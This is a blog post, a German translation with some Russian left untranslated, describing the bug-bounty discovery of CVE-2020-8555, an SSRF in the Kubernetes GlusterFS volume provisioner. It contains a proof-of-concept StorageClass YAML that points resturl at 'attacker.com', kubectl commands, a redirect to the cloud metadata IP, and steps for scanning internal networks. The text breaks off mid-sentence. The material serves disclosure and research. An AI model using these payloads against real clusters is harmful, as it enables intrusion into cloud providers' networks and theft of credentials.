{"id":86623,"date":"2020-06-27T19:42:40","date_gmt":"2020-06-27T17:42:40","guid":{"rendered":"https:\/\/prohoster.info\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes"},"modified":"2020-06-27T19:42:40","modified_gmt":"2020-06-27T17:42:40","slug":"kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","title":{"rendered":"Wenn es nicht nur um eine Schwachstelle in Kubernetes geht\u2026","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Hinweis.<\/b>: Die Autoren dieses Artikels schildern im Detail, wie sie eine Schwachstelle entdeckt haben <noindex><a rel=\"nofollow\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex> in Kubernetes. Obwohl sie anfangs nicht als besonders gef\u00e4hrlich schien, zeigte sich ihre Kritikalit\u00e4t in Kombination mit anderen Faktoren bei einigen Cloud-Anbietern als maximal. F\u00fcr die geleistete Arbeit wurden die Spezialisten von mehreren Organisationen gro\u00dfz\u00fcgig belohnt.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"Wenn es nicht nur um eine Schwachstelle in Kubernetes geht\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/95f376b0e06a5454be2423bdab37f2ce.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>Wer wir sind<\/h2>\n<p>\nWir sind zwei franz\u00f6sische Sicherheitsexperten, die gemeinsam eine Schwachstelle in Kubernetes entdeckt haben. Wir hei\u00dfen Brice Augras und Christophe Hauquiert, aber auf vielen Bug-Bounty-Plattformen sind wir als Reeverzax und Hach bekannt:<\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/reeverzax\">Brice Augras<\/a><\/noindex> \u2014 <noindex><a rel=\"nofollow\" href=\"https:\/\/www.groupe-asten.fr\/\">Groupe Asten Company<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/hach\">Christophe Hauquiert<\/a><\/noindex> \u2014 Kubernetes-Architekt bei Nokia.<\/li>\n<\/ul>\n<p><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>Was ist passiert?<\/h2>\n<p>\nDieser Artikel ist unsere Art, zu erz\u00e4hlen, wie ein gew\u00f6hnliches Forschungsprojekt unerwartet zum spannendsten Abenteuer im Leben eines Bugbounty-Hackers wurde (zumindest bisher).<\/p>\n<p>Wie Sie wahrscheinlich wissen, haben Bugbounty-Hacker ein paar bemerkenswerte Besonderheiten:<\/p>\n<ul>\n<li> Sie leben von Pizza und Bier;<\/li>\n<li> Sie arbeiten, wenn alle anderen schlafen.<\/li>\n<\/ul>\n<p>\nWir sind keine Ausnahme von dieser Regel: Normalerweise treffen wir uns am Wochenende und verbringen schlaflose N\u00e4chte mit Hacking. Doch eine dieser N\u00e4chte endete auf ziemlich ungew\u00f6hnliche Weise.<\/p>\n<p>Anfangs hatten wir uns getroffen, um \u00fcber die Teilnahme an <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Capture_the_flag#Computer_security\">CTF<\/a><\/noindex> am n\u00e4chsten Tag zu sprechen. W\u00e4hrend des Gespr\u00e4chs \u00fcber die Sicherheit von Kubernetes in einer verwalteten Serviceumgebung erinnerte man sich an eine alte Idee, das SSRF (<noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Server-side_request_forgery\">Server-Side Request Forgery<\/a><\/noindex>) und entschloss sich, sie als Angriffszenario zu verwenden.<\/p>\n<p>Um 23 Uhr setzten wir uns mit der Recherche auseinander und gingen fr\u00fch morgens zufrieden mit den Ergebnissen ins Bett. Aufgrund dieser Forschungen stie\u00dfen wir auf das MSRC Bug Bounty-Programm und entwickelten einen Exploit zur Privilegieneskalation.<\/p>\n<p>Es vergingen Wochen\/Monate, und unser unerwartetes Ergebnis f\u00fchrte dazu, dass wir eine der h\u00f6chsten Auszeichnungen in der Geschichte des Azure Cloud Bug Bounty erhielten \u2014 zus\u00e4tzlich zu der, die wir von Kubernetes bekommen haben!<\/p>\n<p>In Anlehnung an unser Forschungsprojekt ver\u00f6ffentlichte das Kubernetes Product Security Committee <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex>.<\/p>\n<p>Jetzt m\u00f6chten wir so viele Informationen wie m\u00f6glich \u00fcber die entdeckte Schwachstelle verbreiten. Wir hoffen, dass Sie die Entdeckung zu sch\u00e4tzen wissen und technische Details mit anderen Mitgliedern der Infosec-Community teilen!<\/p>\n<p>Hier ist unsere Geschichte\u2026<\/p>\n<h2>Kontext<\/h2>\n<p>\nUm das Geschehene vollst\u00e4ndig zu erkl\u00e4ren, lassen Sie uns zun\u00e4chst betrachten, wie Kubernetes in einer verwalteten Cloud-Umgebung funktioniert.<\/p>\n<p>Wenn Sie eine Instanz eines Kubernetes-Clusters in einer solchen Umgebung erstellen, wird die Verwaltungsschicht normalerweise vom Cloud-Anbieter gesteuert:<\/p>\n<p><img decoding=\"async\" alt=\"Wenn es nicht nur um eine Schwachstelle in Kubernetes geht\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c562ba625208180d495068ec46055a07.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Die Verwaltungsschicht befindet sich im Perimeter des Cloud-Anbieters, w\u00e4hrend die Kubernetes-Knoten im Perimeter des Kunden angesiedelt sind.<\/i><\/p>\n<p>Zur dynamischen Bereitstellung von Volumen wird ein Mechanismus verwendet, der die dynamische Bereitstellung aus einem externen Storage-Backend und die Zuordnung zu PVC (Persistent Volume Claim) erm\u00f6glicht.<\/p>\n<p>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a PVC \u0441\u043e\u0437\u0434\u0430\u043d \u0438 \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d \u043a StorageClass&#8217;\u0443 \u0432 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0435 K8s, \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043f\u043e \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044e \u0442\u043e\u043c\u0430 \u0431\u0435\u0440\u0435\u0442 \u043d\u0430 \u0441\u0435\u0431\u044f kube\/cloud controller manager (\u0435\u0433\u043e \u0442\u043e\u0447\u043d\u043e\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0440\u0435\u043b\u0438\u0437\u0430). <i>(<b>Hinweis.<\/b>: Mehr \u00fcber den CCM am Beispiel seiner Implementierung f\u00fcr einen der Cloud-Anbieter haben wir bereits geschrieben. <noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/490356\/\">hier<\/a><\/noindex>.)<\/i><\/p>\n<p>\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u043d\u043e\u0432\u0438\u0434\u043d\u043e\u0441\u0442\u0435\u0439 provisioner&#8217;\u043e\u0432, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 Kubernetes: \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043d\u0438\u0445 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 <noindex><a rel=\"nofollow\" href=\"https:\/\/kubernetes.io\/docs\/concepts\/storage\/storage-classes\/#provisioner\">Kern des Orchestrators<\/a><\/noindex>, \u0430 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 provisioner&#8217;\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u044e\u0442\u0441\u044f \u0432 pod&#8217;\u0430\u0445 \u0432 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0435.<\/p>\n<p>In unserer Untersuchung haben wir uns auf den internen Mechanismus zur Bereitstellung von Volumes konzentriert, der wie folgt dargestellt ist:<\/p>\n<p><img decoding=\"async\" alt=\"Wenn es nicht nur um eine Schwachstelle in Kubernetes geht\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/3056d943a6f41ebc71fe9e7852bf4530.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>\u0414\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0442\u043e\u043c\u043e\u0432 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0433\u043e provisioner&#8217;\u0430 Kubernetes<\/i><\/p>\n<p>\u0415\u0441\u043b\u0438 \u0432\u043a\u0440\u0430\u0442\u0446\u0435, \u043a\u043e\u0433\u0434\u0430 Kubernetes \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u0439 \u0441\u0440\u0435\u0434\u0435, \u0437\u0430 \u0440\u0430\u0431\u043e\u0442\u0443 controller manager&#8217;\u0430 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0443\u0441\u043b\u0443\u0433, \u043d\u043e \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0442\u043e\u043c\u0430 (\u043d\u043e\u043c\u0435\u0440 3 \u043d\u0430 \u0441\u0445\u0435\u043c\u0435 \u0432\u044b\u0448\u0435) \u043f\u043e\u043a\u0438\u0434\u0430\u0435\u0442 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438 \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430. \u0418 \u0432\u043e\u0442 \u0442\u0443\u0442-\u0442\u043e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u043e-\u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439!<\/p>\n<h2>Szenario des Angriffs<\/h2>\n<p>\nIn diesem Abschnitt werden wir erl\u00e4utern, wie wir den oben genannten Workflow genutzt haben, um auf interne Ressourcen des Cloud-Dienstleisters zuzugreifen. Zudem wird aufgezeigt, wie bestimmte Aktionen durchgef\u00fchrt werden k\u00f6nnen \u2013 beispielsweise den Zugriff auf interne Anmeldeinformationen oder die Eskalation von Berechtigungen.<\/p>\n<p>Eine einfache Manipulation (in diesem Fall handelt es sich um eine Service Side Request Forgery) erm\u00f6glichte den Zugriff au\u00dferhalb der Kundenumgebung in den Clustern verschiedener Anbieter von verwaltetem K8s.<\/p>\n<p>\u0412 \u0441\u0432\u043e\u0438\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u0445 \u043c\u044b \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0438\u043b\u0438\u0441\u044c \u043d\u0430 provisioner&#8217;\u0435 GlusterFS. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u0432 \u0442\u0430\u043a\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435, \u044d\u0442\u043e\u0439 \u0436\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b Quobyte, StorageOS \u0438 ScaleIO.<\/p>\n<p><img decoding=\"async\" alt=\"Wenn es nicht nur um eine Schwachstelle in Kubernetes geht\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/f604aa1880c0edd5efe52a3362d6929d.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Missbrauch des Mechanismus zur dynamischen Bereitstellung von Volumes<\/i><\/p>\n<p>W\u00e4hrend der Analyse der Speicherklassen <b>GlusterFS<\/b> im Client-Code in Golang haben wir <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">wurde festgestellt<\/a><\/noindex>, dass beim ersten HTTP-Anfrage (3), die w\u00e4hrend der Erstellung des Volumes gesendet wird, am Ende der Benutzer-URL im Parameter <code>resturl<\/code> hinzugef\u00fcgt wird <code>\/volumes<\/code>.<\/p>\n<p>Um diesen zus\u00e4tzlichen Pfad zu beseitigen, haben wir ihn durch die Hinzuf\u00fcgung von <code>#<\/code> zum Parameter <code>resturl<\/code>. Hier ist die erste YAML-Konfiguration, die wir f\u00fcr den Test auf die \"semi-blind\" SSRF-Schwachstelle verwendet haben <i>(mehr \u00fcber semi-blind oder half-blind SSRF kann man unter anderem lesen, <noindex><a rel=\"nofollow\" href=\"https:\/\/blog.securityinnovation.com\/the-many-faces-of-ssrf\">hier<\/a><\/noindex> \u2014 Anmerkung des \u00dcbersetzers).<\/i>:<\/p>\n<pre><code class=\"plaintext\">apiVersion: storage.k8s.io\/v1\nkind: StorageClass\nmetadata:\n  name: poc-ssrf\nprovisioner: kubernetes.io\/glusterfs\nparameters:\n  resturl: &quot;http:\/\/attacker.com:6666\/#&quot;\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: poc-ssrf\nspec:\n  accessModes:\n  - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 8Gi\n  storageClassName: poc-ssrf<\/code><\/pre>\n<p>\nAnschlie\u00dfend haben wir den Bin\u00e4rdienst f\u00fcr das Remote-Management des Kubernetes-Clusters verwendet. <b>kubectl<\/b>In der Regel erm\u00f6glichen Cloud-Anbieter (wie Azure, Google, AWS usw.) den Zugriff auf Anmeldeinformationen f\u00fcr die Nutzung in diesem Dienstprogramm.<\/p>\n<p>Dank dieser M\u00f6glichkeit konnten wir unsere \"besonderen\" Dateien verwenden. Der Kube-controller-manager hat die resultierende HTTP-Anfrage ausgef\u00fchrt:<\/p>\n<pre><code class=\"bash\">kubectl create -f sc-poc.yaml<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Wenn es nicht nur um eine Schwachstelle in Kubernetes geht\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c520fcff82519a1f7bb3fd2bdc6b79e0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Antwort aus der Sicht des Angreifers<\/i><\/p>\n<p>Kurz darauf erhielten wir auch eine HTTP-Antwort vom Zielserver \u2014 \u00fcber die Befehle <code>describe pvc<\/code> oder <code>get events<\/code> in kubectl. Tats\u00e4chlich ist dieser Kubernetes-Treiber standardm\u00e4\u00dfig in seinen Warnungen\/Fehlermeldungen viel zu gespr\u00e4chig...<\/p>\n<p>Hier ist ein Beispiel mit einem Link zur <code>https:\/\/www.google.fr<\/code>in Form eines Parameters <code>resturl<\/code>:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc poc-ssrf\n# alternativ k\u00f6nnen Sie kubectl get events verwenden.<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Wenn es nicht nur um eine Schwachstelle in Kubernetes geht\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/1b859d606de4bd6ed8114024f84e4799.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nIm Rahmen dieses Ansatzes waren wir auf Anfragen des Typs <b>HTTP POST<\/b> beschr\u00e4nkt und konnten den Inhalt des Antwortk\u00f6rpers nicht abrufen, wenn der R\u00fcckgabecode war <b>201<\/b>. Daher entschieden wir uns, weitere Untersuchungen durchzuf\u00fchren und unseren Exploit-Ansatz mit neuen Methoden zu erweitern.<\/p>\n<h2>Die Evolution unserer Forschungen<\/h2>\n<p><\/p>\n<ul>\n<li> Fortgeschrittenes Szenario Nr. 1: Verwendung einer 302-Umleitung von einem externen Server zur \u00c4nderung der HTTP-Methode, um eine flexiblere Methode zur Erfassung interner Daten zu erhalten.<\/li>\n<li> Fortgeschrittenes Szenario Nr. 2: Automatisierung des Scannens des LANs und Entdeckung interner Ressourcen.<\/li>\n<li> \u041f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u0439 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u21163: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 HTTP CRLF + smuggling (\u00ab\u043a\u043e\u043d\u0442\u0440\u0430\u0431\u0430\u043d\u0434\u044b\u00bb \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432) \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445, \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0438\u0437 \u043b\u043e\u0433\u043e\u0432 kube-controller&#8217;\u0430.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Technische Spezifikationen<\/h3>\n<p><\/p>\n<ul>\n<li> In den Untersuchungen wurde Azure Kubernetes Service (AKS) mit Kubernetes Version 1.12 in der Region Nordeuropa verwendet.<\/li>\n<li> Die oben beschriebenen Szenarien wurden auf den neuesten Versionen von Kubernetes ausgef\u00fchrt, mit Ausnahme des dritten Szenarios, da dieses Kubernetes ben\u00f6tigt, das mit Golang Version \u2264 1.12 kompiliert wurde.<\/li>\n<li> Externer Server des Angreifers \u2014 <code>https:\/\/attacker.com<\/code>.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Fortgeschrittenes Szenario Nr. 1: Umleitung einer HTTP POST-Anfrage zu GET und Erhalt sensibler Daten<\/h3>\n<p>\nDie urspr\u00fcngliche Methode wurde durch die Konfiguration des Angreifer Servers optimiert, um zur\u00fcckzugeben <b>302 HTTP Retcode<\/b>, um die POST-Anfrage in eine GET-Anfrage zu konvertieren (Schritt 4 im Diagramm):<\/p>\n<p><img decoding=\"async\" alt=\"Wenn es nicht nur um eine Schwachstelle in Kubernetes geht\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/2b8d0a7dfdc2df8e674acfc82a4cd070.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nDie erste Anfrage (3), die vom Client ausgeht <b>GlusterFS<\/b> (Controller-Manager), hat den Typ POST. Durch die folgenden Schritte konnten wir sie in GET umwandeln:<\/p>\n<ul>\n<li> Als Parameter <code>resturl<\/code> In der StorageClass wird angegeben <code>http:\/\/attacker.com\/redirect.php<\/code>.<\/li>\n<li> Endpunkt <code>https:\/\/attacker.com\/redirect.php<\/code> \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0441\u0442\u0430\u0442\u0443\u0441-\u043a\u043e\u0434\u043e\u043c 302 HTTP \u0441\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c Location Header&#8217;\u043e\u043c: <code>http:\/\/169.254.169.254<\/code>. Dies kann jede andere interne Ressource sein \u2013 in diesem Fall wird der Redirect-Link lediglich als Beispiel verwendet.<\/li>\n<li> Standardm\u00e4\u00dfig <b>die Bibliothek net\/http<\/b> Golang&#8217;\u0430 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u0438 \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0438\u0440\u0443\u0435\u0442 POST \u0432 GET \u0441 302-\u043c \u0441\u0442\u0430\u0442\u0443\u0441-\u043a\u043e\u0434\u043e\u043c, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0440\u0435\u0441\u0443\u0440\u0441 \u043f\u043e\u0441\u0442\u0443\u043f\u0430\u0435\u0442 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 GET.<\/li>\n<\/ul>\n<p>\nUm den Body der HTTP-Antwort zu lesen, m\u00fcssen Sie <code>describe<\/code> des PVC-Objekts:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc xxx<\/code><\/pre>\n<p>\nHier ist ein Beispiel f\u00fcr eine HTTP-Antwort im JSON-Format, die wir erhalten konnten:<\/p>\n<p><img decoding=\"async\" alt=\"Wenn es nicht nur um eine Schwachstelle in Kubernetes geht\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/d2f76aec3ac9d31c99426551d77fc969.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nDie M\u00f6glichkeiten der gefundenen Schwachstelle waren zu diesem Zeitpunkt wegen folgender Punkte eingeschr\u00e4nkt:<\/p>\n<ul>\n<li> Die Unf\u00e4higkeit, HTTP-Header in die ausgehende Anfrage einzuf\u00fcgen.<\/li>\n<li> Die Unf\u00e4higkeit, einen POST-Request mit Parametern im Body auszuf\u00fchren (so ist es praktisch, den Wert des Schl\u00fcssels von einer etcd-Instanz abzufragen, die auf <b>2379<\/b> dem Port l\u00e4uft, wenn unverschl\u00fcsseltes HTTP verwendet wird).<\/li>\n<li> Die Unf\u00e4higkeit, den Inhalt des Antwortbodys zu erhalten, wenn der Statuscode 200 war und die Antwort keinen JSON-Content-Type hatte.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Erweiterte Vorgehensweise Nr. 2: Scannen des lokalen Netzwerks<\/h3>\n<p>\nDiese Methode des halb-blinden SSRF wurde anschlie\u00dfend verwendet, um das interne Netzwerk des Cloud-Service-Anbieters zu scannen und verschiedene lauschernde Dienste (z. B. Metadata, Kubelet, etcd usw.) basierend auf den Antworten abzufragen. <b>kube controller&#8217;\u0430<\/b>.<\/p>\n<p><img decoding=\"async\" alt=\"Wenn es nicht nur um eine Schwachstelle in Kubernetes geht\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/08b681f9a673e335a1955b08b0bddc9a.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nZun\u00e4chst wurden die Standardlauscherports der Kubernetes-Komponenten (8443, 10250, 10251 usw.) identifiziert, und anschlie\u00dfend musste der Scanprozess automatisiert werden.<\/p>\n<p>\u0412\u0438\u0434\u044f, \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u043e\u0447\u0435\u043d\u044c \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u0435\u043d \u0438 \u043d\u0435 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c \u0441 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0441\u043a\u0430\u043d\u0435\u0440\u0430\u043c\u0438 \u0438 SSRF-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438, \u043c\u044b \u0440\u0435\u0448\u0438\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 worker&#8217;\u044b \u0432 bash-\u0441\u043a\u0440\u0438\u043f\u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u044e\u0442 \u0432\u0435\u0441\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441.<\/p>\n<p>\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0442\u043e\u0431\u044b \u0431\u044b\u0441\u0442\u0440\u0435\u0435 \u043f\u0440\u043e\u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d 172.16.0.0\/12 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438, \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0438\u0441\u044c 15 worker&#8217;\u043e\u0432. \u0412\u044b\u0448\u0435\u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d IP \u0431\u044b\u043b \u0432\u044b\u0431\u0440\u0430\u043d \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u0430 \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u0435\u043d \u043d\u0430 IP-\u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0443\u0441\u043b\u0443\u0433.<\/p>\n<p>Um eine IP-Adresse und einen Port zu scannen, muss Folgendes durchgef\u00fchrt werden:<\/p>\n<ul>\n<li> die zuletzt \u00fcberpr\u00fcfte StorageClass entfernen;<\/li>\n<li> den zuvor \u00fcberpr\u00fcften Persistent Volume Claim l\u00f6schen;<\/li>\n<li> die Werte f\u00fcr IP und Port in <code>sc.yaml<\/code>;<\/li>\n<li> eine StorageClass mit der neuen IP und dem neuen Port erstellen;<\/li>\n<li> einen neuen PVC erstellen;<\/li>\n<li> \u0438\u0437\u0432\u043b\u0435\u0447\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e describe&#8217;\u0430 \u0434\u043b\u044f PVC.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Erweitertes Szenario Nr. 3: CRLF-Injektion + HTTP-Smuggling in \u201e\u00e4lteren\u201c Versionen des Kubernetes-Clusters.<\/h3>\n<p>\nWenn der Anbieter den Kunden zus\u00e4tzlich alte Versionen des K8s-Clusters anbot, <b>und<\/b> und ihnen Zugang zu den Protokollen des kube-controller-managers gew\u00e4hrte, wurde der Effekt noch deutlicher.<\/p>\n<p>F\u00fcr den Angreifer ist es tats\u00e4chlich viel einfacher, HTTP-Anfragen nach Belieben zu modifizieren, um die vollst\u00e4ndige HTTP-Antwort zu erhalten.<\/p>\n<p><img decoding=\"async\" alt=\"Wenn es nicht nur um eine Schwachstelle in Kubernetes geht\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/226ea08521a7bdf79cff1e550dda8f67.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nF\u00fcr die Umsetzung des letzten Szenarios mussten folgende Bedingungen erf\u00fcllt sein:<\/p>\n<ul>\n<li> Der Benutzer muss Zugang zu den Protokollen des kube-controller-managers haben (wie z. B. in Azure LogInsights).<\/li>\n<li> Der Kubernetes-Cluster muss eine Golang-Version unter 1.12 verwenden.<\/li>\n<\/ul>\n<p>\nWir haben eine lokale Umgebung bereitgestellt, die den Datenaustausch zwischen dem Go-Client GlusterFS und einem gef\u00e4lschten Zielserver simuliert (wir 